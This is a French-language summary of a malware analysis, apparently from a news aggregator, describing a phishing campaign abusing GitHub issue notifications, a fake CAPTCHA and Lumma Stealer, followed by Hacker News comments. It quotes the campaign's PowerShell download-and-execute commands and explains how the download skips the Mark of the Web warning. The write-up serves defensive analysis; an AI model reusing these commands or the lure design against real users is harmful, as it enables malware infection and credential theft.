1 points par GN⁺ 2024-09-20 | 1 commentaires | Partager sur WhatsApp
  • L’attaquant a utilisé le flux normal de notifications d’un dépôt public pour envoyer au propriétaire du dépôt un message malveillant qui ressemblait à un e-mail réellement envoyé par GitHub
  • Comme l’attaquant peut composer la majeure partie du corps de l’e-mail, il est difficile de déterminer s’il s’agit d’un phishing en se contentant de vérifier l’expéditeur et les liens
  • En cliquant sur le lien, une fausse page CAPTCHA s’affiche ; elle pousse l’utilisateur à coller une commande PowerShell dans la fenêtre Exécuter de Windows, ce qui lance le téléchargement du malware
  • Le fichier étant téléchargé via .NET System.Net.WebClient.DownloadFile de PowerShell, il ne reçoit pas le Mark of the Web, ce qui permet d’éviter l’avertissement de signature de Windows
  • La charge utile finale est associée à un malware détecté par plusieurs antivirus sur VirusTotal comme LUMMASTEALER ; il s’agit d’une famille de stealers visant les identifiants, les portefeuilles de cryptomonnaies et les données sensibles

Déroulement de l’attaque via les e-mails de notification GitHub

  • Les propriétaires de dépôts publics reçoivent fréquemment des e-mails de notification de GitHub pour des activités comme les issues, les commentaires ou les Pull Requests
  • L’attaquant détourne ce système de notification normal selon la séquence suivante
    • Il crée une issue dans un dépôt public avec un compte GitHub jetable
    • Il supprime rapidement l’issue
    • Le propriétaire du dépôt reçoit un e-mail de notification envoyé par GitHub
    • Si le destinataire clique sur le lien dans l’e-mail, il est redirigé vers un site malveillant
    • En suivant les instructions, le système est infecté par un malware
  • Le corps réel de l’e-mail indiquait qu’une faille de sécurité avait été découverte et invitait à consulter github-scanner[.]com pour obtenir plus d’informations, en se faisant passer pour la « Github Security Team »

Pourquoi l’e-mail paraissait crédible

  • L’e-mail est une notification réellement envoyée par GitHub, ce qui lui permet de passer une grande partie des vérifications anti-phishing classiques
    • L’expéditeur du mail est GitHub
    • Les liens dans le corps pointent vers les destinations affichées
  • Il est difficile de comprendre la situation réelle uniquement à partir des zones de l’e-mail que l’attaquant ne contrôle pas
    • Le fait qu’une nouvelle issue ait été créée n’apparaît pas suffisamment clairement dans l’e-mail
    • L’attaquant peut créer le contexte qu’il souhaite avec le texte du corps
  • Les e-mails de notification GitHub pourraient être améliorés comme suit afin de réduire l’efficacité de ce type d’attaque
    • Fournir davantage de contexte sur l’action ayant déclenché l’e-mail
    • Réduire la proportion de contenu contrôlée par l’attaquant
    • Améliorer la clarté concernant l’expéditeur de l’e-mail
  • L’e-mail concerné et les préoccupations associées ont été transmis à la véritable équipe GitHub Security

Faux CAPTCHA et exécution de PowerShell

  • En suivant le lien de l’e-mail, une page ressemblant à un CAPTCHA s’affiche
  • La demande de prouver que l’on est humain via un CAPTCHA peut sembler familière aux utilisateurs à cause des challenges automatiques de services comme Cloudflare
  • Cette page ne propose pas un CAPTCHA classique de sélection d’images : elle demande d’ouvrir la fenêtre Exécuter de Windows et d’y coller une commande
  • La commande de première étape placée dans le presse-papiers ouvre une fenêtre PowerShell masquée, puis télécharge et exécute un script distant
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
  • iex est l’alias de Invoke-Expression, et iwr celui de Invoke-WebRequest
  • Le fonctionnement est similaire à l’exécution de curl | bash sous Linux
  • Le commentaire à la fin de la commande masque la partie initiale en raison de la limite de taille de la fenêtre Exécuter de Windows, et la fait apparaître à l’utilisateur comme un message de vérification CAPTCHA

Téléchargement de deuxième étape et contournement des avertissements Windows

  • Le script téléchargé récupère github-scanner[.]com/l6E.exe, l’enregistre sous le nom SysSetup.exe dans le dossier temporaire, puis l’exécute
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
  • L’exécutable comportait une signature numérique, mais la signature du binaire malveillant n’était pas valide
  • La signature semblait provenir de Spotify, mais après discussion avec DigiCert, il a été conclu qu’il ne s’agissait pas d’un certificat volé, mais d’une signature usurpée
  • Windows détermine si un fichier provient d’Internet grâce au drapeau Mark of the Web (MOTW)
    • Les navigateurs et d’autres logiciels peuvent définir ce drapeau sur les fichiers téléchargés
    • Des logiciels comme Office peuvent modifier leur comportement en fonction de ce drapeau
  • Si le même exécutable est téléchargé via un navigateur, Windows avertit que la signature n’est pas valide
  • Dans le parcours de la victime, le fichier n’est pas téléchargé par un navigateur, mais par .NET Framework System.Net.WebClient.DownloadFile de PowerShell
    • Cette méthode ne définit pas le drapeau MOTW sur le fichier téléchargé
    • Windows n’affiche l’avertissement d’exécution lié à une signature numérique invalide que lorsque le MOTW est présent
  • Comme le MOTW peut être facilement supprimé, une approche qui dépend de ce drapeau n’est pas sûre
  • Deux faiblesses Windows liées ont été signalées à Microsoft

Analyse du loader et charge utile finale

  • L’exécutable montrait des traces liées à .NET dans Ghidra, il a donc été analysé avec dotPeek
  • Le flux principal se trouve dans le point d’entrée et dans la méthode PersonalActivation
    • Le point d’entrée masque la fenêtre de console
    • Il appelle deux fois PersonalActivation dans un thread en arrière-plan
    • Il marque une zone mémoire comme exécutable avec VirtualProtect
    • Il l’exécute avec CallWindowProcW
  • PersonalActivation reçoit une liste inutilisée et deux tableaux d’octets
    • Le premier tableau semble être un tampon de données
    • Le second tableau est marqué comme key
    • De nombreuses opérations mathématiques sont effectuées, ce qui ressemble à une forme de routine de déchiffrement
  • En commentant les appels à VirtualProtect et CallWindowProcW, puis en inspectant le tampon déchiffré dans le débogueur
    • Le premier tampon contenait notamment CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext et ResumeThread
    • Le chemin C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe apparaissait également
    • Le second tampon avait la forme d’un exécutable Windows avec des en-têtes MZ et PE
  • Le loader charge en mémoire l’exe « chiffré » contenu dans le grand tableau d’octets situé en haut, le rend exécutable, puis l’exécute

Détection de Lumma Stealer et outils utilisés

  • L’étape finale était un exe Windows non-.NET, et la sortie de Ghidra seule limitait l’analyse supplémentaire
  • Les deux binaires étaient déjà détectés par plusieurs antivirus sur VirusTotal
  • Les noms de détection faisaient apparaître un motif commun LUMMASTEALER
  • Lumma est une opération de malware de type « malware as a service »
    • Le code du stealer recherche des portefeuilles de cryptomonnaies, des identifiants enregistrés et des données sensibles
    • Les données collectées sont envoyées à un serveur de commande et contrôle (C2)
    • Elles peuvent ensuite être utilisées pour des vols financiers ou revendues
  • Le malware Lumma n’a généralement pas tendance à chiffrer les appareils des victimes comme les ransomwares traditionnels
  • Comme ressource complémentaire sur Lumma, l’article de Cyfirma Lumma Stealer tactics, impact and defense strategies est recommandé
  • Les outils utilisés pour l’analyse sont Windows Sandbox, Ghidra, dotPeek, HxD et Visual Studio

1 commentaires

 
GN⁺ 2024-09-20
Avis de Hacker News
  • Je me demande vraiment s’il y a des gens qui tombent dans ce genre d’arnaque.
    D’abord, ce n’est pas clair avec la seule capture d’écran, mais en supposant que l’auteur savait que l’e-mail venait de GitHub, le premier signal d’alerte est qu’il renvoie vers github-scanner.com, une variation du vrai domaine.
    Si on ne sait pas à qui appartient github-scanner.com, il est plus prudent de considérer que c’est une arnaque, rien que parce que cela ressemble à un site réel plausible.
    Le signal d’alerte énorme, c’est que le captcha demande de saisir une commande dans un shell, et je ne vois pas quoi ajouter sur le niveau de naïveté nécessaire pour l’exécuter.

    • Au final, c’est un jeu de probabilités.
      Personne n’est parfait, et plus il y a d’éléments qui inspirent confiance, plus le taux de conversion a des chances d’augmenter.
      Si l’on voit mal, que l’on est pressé, fatigué ou épuisé, même une cible normalement difficile à tromper peut se faire avoir plus facilement.
      Si une automatisation à grande échelle est possible, même un faible taux de conversion peut conduire au vol de nombreux comptes.
    • Si cela avait été la première année après la création de mon compte GitHub, je pense que je me serais clairement fait avoir.
      Cela ne paraît pas très différent de la configuration de clés SSH, et les nouveaux utilisateurs passent réellement par des parcours où ils copient-collent des commandes envoyées par GitHub.
    • Il y a quelques semaines, quelqu’un a ouvert une issue sur l’un de mes dépôts, et en moins d’une minute deux comptes ont répondu avec des liens vers des hébergeurs de fichiers, en suggérant de télécharger et d’exécuter un logiciel pour résoudre le problème.
      C’était clairement probablement un malware, et j’ai aussitôt supprimé les commentaires puis signalé les comptes à GitHub.
      Je ne serais pas tombé dans un truc aussi évident, mais la personne qui avait posé la question initiale, à en juger par son historique d’activité GitHub et la qualité de sa question, ne semblait pas très technique.
      Si elle était dans un état d’esprit consistant à essayer rapidement n’importe quoi sans esprit critique, elle aurait pu se faire avoir.
    • Les e-mails provenant d’un autre domaine sont malheureusement assez courants.
      Citi et PayPal font aussi ça dans certains e-mails, et ça m’agace à chaque fois.
    • Je suis là depuis assez longtemps pour me souvenir d’ILOVEYOU, et j’ai vu depuis des millions, voire des dizaines de millions de dollars, dépensés pour former les utilisateurs à ne pas cliquer sur ce qu’il ne faut pas.
      Le mois dernier, lors d’une conférence, le PDG d’une entreprise de cybersécurité a fait une keynote expliquant que, dans certains cas, plus de 80 % des utilisateurs tombaient encore dans les arnaques par e-mail, et qu’il fallait donc plus d’argent.
      La question que j’ai posée sérieusement à l’orateur était la suivante : si, après des millions de dollars et près de 25 ans, plus de 80 % des utilisateurs cliquent toujours sur les mauvais liens, n’est-ce pas que nous faisons quelque chose de fondamentalement de travers ?
  • Récemment, j’ai reçu de PayPal un e-mail bien plus crédible.
    Quelqu’un m’avait envoyé un devis ; c’est probablement une fonctionnalité utilisable sans sollicitation préalable, et il avait défini le nom de l’entreprise sur quelque chose du genre « PayPal doit vous contacter au sujet d’un paiement récent de 499,00 $, appelez le +1-... ».
    Du coup, à cause de la formule « vous envoie un devis de $xxx » dans l’e-mail de devis de PayPal, ce nom d’entreprise occupait la majeure partie du texte en haut.
    Cet e-mail venait bien de PayPal.com, et je ne comprends pas qu’une société de traitement des paiements n’ait toujours pas empêché ce genre de problème de nom d’utilisateur.
    Je l’ai signalé, mais je n’ai pas eu de réponse ; il faudrait interdire non seulement ce compte, mais aussi toute cette catégorie de noms.
    La mise en forme ressemblait vraiment à un e-mail PayPal légitime, et je pense que beaucoup de gens ordinaires se feraient piéger par cette arnaque.
    Si vous voulez l’e-mail, contactez-moi via le site web indiqué dans mon profil.

    • J’ai vécu la même chose il y a plus d’un an, donc il semble que le signalement n’ait pas servi à grand-chose.
    • J’ai reçu quelque chose de très similaire aussi : c’était un e-mail PayPal légitime, mais ce n’était pas un devis, c’était une facture.
      Quand je me connectais à PayPal, rien n’apparaissait sur le site.
    • Je ne vois pas pourquoi PayPal demanderait d’appeler par e-mail.
      S’ils ont besoin de quelque chose, ils devraient appeler directement, l’écrire dans l’e-mail ou l’afficher sur le portail.
    • Je serais surpris que quelqu’un l’ait réellement examiné.
    • Le fait que « l’e-mail était formaté pour ressembler à un vrai e-mail PayPal » est précisément la raison pour laquelle il faudrait bloquer les e-mails qui ne sont pas en texte brut.
      Il y a aussi des raisons de sécurité, mais quiconque a manipulé du HTML pendant cinq minutes peut créer un e-mail qui « a l’air vrai ».
  • Win+R, CTRL+V
    Du captcha au piège
    Un développeur junior pourrait bien se faire avoir. Du genre : « C’est GitHub, donc c’est sûrement légitime, non ? On reçoit bien tous les deux mois des alertes de sécurité pour les bibliothèques qu’on utilise »
    On pourrait aussi se dire : « Oh, un captcha qu’on résout en exécutant du code, c’est original ! »
    Une page web ne devrait pas pouvoir remplir le presse-papiers par un simple clic ; il faudrait un aperçu du contenu
    Ils ont peut-être pensé que demander une action utilisateur, comme un clic, réglerait le problème, mais c’est encore beaucoup trop faible, et c’est le premier problème
    Les gens doivent arrêter d’exécuter tels quels les liens reçus par e-mail, ou de croire que le contenu d’un e-mail a une quelconque légitimité. Le contenu d’un e-mail n’a aucune légitimité en soi, et c’est le deuxième problème
    Troisièmement, Windows permet-il encore de prendre le contrôle d’une machine au niveau root avec une seule ligne PowerShell ?
    GitHub devrait peut-être aussi empêcher l’ajout, dans les issues, de liens dont un service automatisé n’a pas vérifié à distance qu’ils pointent vers un contenu légitime
    Ils envoient ça par e-mail aux gens ; qu’ils ne prétendent pas ignorer que cela peut servir au phishing. Même en 2015, c’était la base de la cybersécurité
    Enfin, si GitHub ne peut pas prendre les mesures ci-dessus, il devrait supprimer davantage de contenu des e-mails envoyés aux utilisateurs et faire comme les banques : « Il y a une nouvelle issue dans ce dépôt... »
    Ainsi, quand l’utilisateur serait allé voir, le message aurait disparu, et l’affaire se serait arrêtée là. GitHub devrait faire preuve d’un peu plus de maturité ici

    • À propos de « un développeur junior pourrait se faire avoir », je pense que toutes sortes de personnes, pas seulement les juniors, peuvent faire des erreurs. C’est comme ça
      Je pense qu’il faut mieux former les gens à reconnaître ce qui est dangereux
      Concernant Windows, au moins deux employés m’ont demandé de les aider à s’en débarrasser. Je ferai de mon mieux ; c’est un projet de longue haleine, mais on finira par y arriver
    • Sur le point selon lequel une seule ligne PowerShell permettrait de prendre le contrôle de la machine : cela n’est possible que si la commande est exécutée depuis un compte administrateur
      L’icône de bouclier dans la capture d’écran de la boîte de dialogue « Exécuter » montre clairement qu’il s’agit d’un utilisateur administrateur et que l’UAC est désactivé
      Dans ce cas, il faudrait aussi se lamenter du fait que Linux permette de s’emparer des droits root avec une seule ligne du type curl malware.zyx/evilscript | bash
    • Pour les utilisateurs non techniques, nous avons commencé à désactiver la boîte de dialogue Exécuter, mais le problème est que l’attaque GitHub vise précisément des utilisateurs qui ont parfois réellement besoin de cette fonction
      La stratégie du presse-papiers devrait aussi être facile à bloquer. La plupart des escrocs se contentent de convaincre les gens, au téléphone, de saisir directement dans la boîte de dialogue Exécuter une URL bien déguisée
    • Ce captcha est tellement mauvais que j’aurais envie d’automatiser le navigateur pour que, dès qu’un site affiche « Appuyez sur Win+R, CTRL+V », il lance cmd.exe avec le contenu du presse-papiers, afin de consulter le contenu du site plus vite et sans interruption
      Oui, je suis un utilisateur Windows puissance 10
    • On dit que c’est un problème de pouvoir obtenir un niveau root en une ligne sous Windows, mais moi, je vois ça comme un avantage
      Si nous pouvons traiter Windows comme « root », c’est parce que nous sommes root ; plus précisément, parce que le premier compte utilisateur créé lors de l’installation de Windows est toujours un compte administrateur
      C’est un avantage. Sur l’ordinateur que nous possédons et utilisons, nous pouvons faire ce que nous voulons
      À une époque où les systèmes d’exploitation se verrouillent de plus en plus et empêchent les utilisateurs de vraiment posséder et administrer leur ordinateur, Windows, lui, le permet tout simplement
      J’espère vraiment que cela ne changera jamais
  • En résumé, il ne faut pas cliquer sur les liens dans les e-mails
    github-scanner.com et github-scanner.shop relèvent-ils encore du même acteur malveillant ? On dirait bien
    Le fait que le DNS soit chez Cloudflare est assez drôle. Cloudflare répète notoirement qu’il « n’héberge rien », mais on a l’impression qu’ils nous prennent tous pour des idiots
    Il ne semble même pas y avoir de moyen de signaler ce type d’abus à Cloudflare, qui n’assume aucune responsabilité
    Le domaine 2x.si, qui héberge le malware, utilise Cloudflare pour le DNS comme pour l’hébergement
    Au moins, cela peut être signalé à Cloudflare, mais leur formulaire de signalement d’abus impose une limitation de débit aux humains et demande même un captcha
    Soupir. Grâce à Cloudflare, héberger du phishing et des malwares est devenu beaucoup trop facile aujourd’hui

    • Cloudflare répond bien mieux aux signalements d’abus que 95 % des registres DNS nationaux
      C’est mon expérience après avoir eu affaire aux deux
    • Je ne sais pas à quel point ils réagissent efficacement ni rapidement, mais il existe bien un moyen de signaler des malwares : https://www.cloudflare.com/trust-hub/reporting-abuse/
      Cette page propose Phishing & Malware parmi les types d’abus à sélectionner
    • Dire « ne cliquez pas sur les liens dans les e-mails » n’est pas faux, mais ce cas se résume plutôt à : « ne vous faites pas avoir par un captcha qui vous demande de coller du code dans une fenêtre indiquant qu’elle s’exécute avec des droits administrateur »
      C’est plus un coup de gueule qu’un commentaire de sécurité sérieux, mais j’ai toujours trouvé agaçant que l’échec à un test de phishing soit défini par « a cliqué sur n’importe quel lien dans l’e-mail »
      En réalité, l’essentiel n’est-il pas plutôt de savoir si la personne a saisi ses identifiants sur le site de phishing, ou téléchargé puis ouvert un fichier ?
      Je comprends qu’il soit plus simple d’apprendre aux utilisateurs non techniques à ne pas cliquer du tout sur de mauvais liens, et que les vulnérabilités de navigateur existent aussi, mais cela reste quelque part irritant
      J’ai vu beaucoup de cas où ce genre de message se termine par un utilisateur qui saisit ses identifiants, accorde des permissions étranges au navigateur, télécharge un fichier ou, comme ici, exécute une commande
      J’ai très rarement vu des cas qui se terminent par « il a cliqué sur le lien, une 0-day du navigateur s’est déclenchée, fin de l’histoire »
      Les navigateurs web ont une grande surface d’attaque, mais ce sont aussi des outils conçus pour parcourir Internet
      La plupart des gens cliquent sur des liens assez machinalement quand ils travaillent ou font des recherches
      La défense en profondeur est nécessaire, mais une politique de sécurité dont le principe central est « ne visitez jamais de site web malveillant » me semble assez défaillante
    • Comment vérifier l’e-mail d’un nouveau compte sans cliquer sur un lien ?
      Une solution consiste plutôt à utiliser Qubes OS et à n’ouvrir les liens que dans une machine virtuelle jetable, sans y saisir d’informations supplémentaires
      C’est généralement ce que je fais quand je reçois un e-mail de vérification d’adresse pour un nouveau compte
      On ne peut pas toujours éviter de cliquer sur des liens, n’est-ce pas
  • En lisant la partie disant que « l’attaquant supprime rapidement l’issue », je me suis rendu compte que je n’avais jamais supprimé d’issue que j’avais créée.
    Mais dans un dépôt, seuls les gens ayant des droits d’administrateur peuvent supprimer une issue, non ? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
    Dans ce cas, en réalité, il reste une trace de cette issue dans le dépôt, et c’est pareil pour les pull requests.

    • GitHub l’a peut-être déjà supprimée parce qu’elle a été jugée malveillante, mais l’e-mail avait peut-être déjà été envoyé.
    • Le propriétaire du dépôt peut aussi modifier le titre et le corps d’une issue ouverte par quelqu’un d’autre.
  • L’affirmation selon laquelle rien n’indique que l’e-mail correspond à une nouvelle issue est fausse.
    Le « (Issue #1) » dans le titre signifie exactement cela.
    J’ai reçu le même e-mail moi aussi, et j’ai tout de suite compris qu’une nouvelle issue avait été créée dans le dépôt.
    Cet utilisateur n’est manifestement pas familier avec les issues GitHub, comme le montre aussi le fait qu’il s’agissait de la première issue du dépôt.
    GitHub devrait sans doute mieux former les nouveaux utilisateurs.

    • C’est vrai, mais j’ai déjà travaillé dans une entreprise qui donnait des comptes GitHub destinés aux rapports de bug à des utilisateurs qui ne maîtrisaient pas du tout les détails techniques.
      Ces personnes peuvent vraiment se faire piéger très facilement.
      Les techniciens peuvent s’en rendre compte, mais cela ne dédouane pas GitHub de mieux faire.
  • J’ai reçu une de ces notifications ce matin et je l’ai immédiatement ignorée.
    Ce qui était drôle, c’est que la cible était justement ce dépôt : https://github.com/kyledrake/theftcoinjs

  • C’est un article qui vaut la peine d’être lu. Il montre ce que les attaquants essaient de faire.
    Rien qu’en regardant le lien, il est facile d’être méfiant, mais c’est intéressant de voir quelqu’un creuser.

  • Ce matin, j’ai signalé un bug dans un dépôt GitHub, et en moins d’une minute quelqu’un a répondu à peu près ceci :
    « Essayez ça. Je pense que ça corrigera le problème. Si vous avez besoin d’un compilateur, installez GCC »
    Il y avait ensuite un lien Bitly redirigeant vers un fichier zip sur MediaFire, accompagné d’un mot de passe.
    GitHub a traité mon signalement d’abus en moins d’une heure et supprimé tous les messages de cet utilisateur.

  • Mon Dieu, je recevais moi aussi des e-mails de notification GitHub similaires.
    Ils disaient qu’une vulnérabilité avait été détectée dans le dépôt, et avant de voir cette news, je n’avais pas pensé que cela pouvait être faux.
    Mais comme je suis un programmeur paresseux, je n’ai pas cliqué. Une fois que c’est écrit, c’est écrit ; je réécris bien du code, mais je ne cherche pas les bugs dans mon propre code pour les corriger.

    • Le récapitulatif des alertes de sécurité GitHub existe bel et bien : https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
      C’est une fonctionnalité par laquelle GitHub signale les vulnérabilités de sécurité dans les dépendances d’un projet.
      Par exemple, si vous utilisez Python et que vous indiquez la bibliothèque requests dans requirements.txt, GitHub vous enverra un e-mail au sujet des vulnérabilités publiques de cette bibliothèque et vous recommandera de passer à une version supérieure corrigée.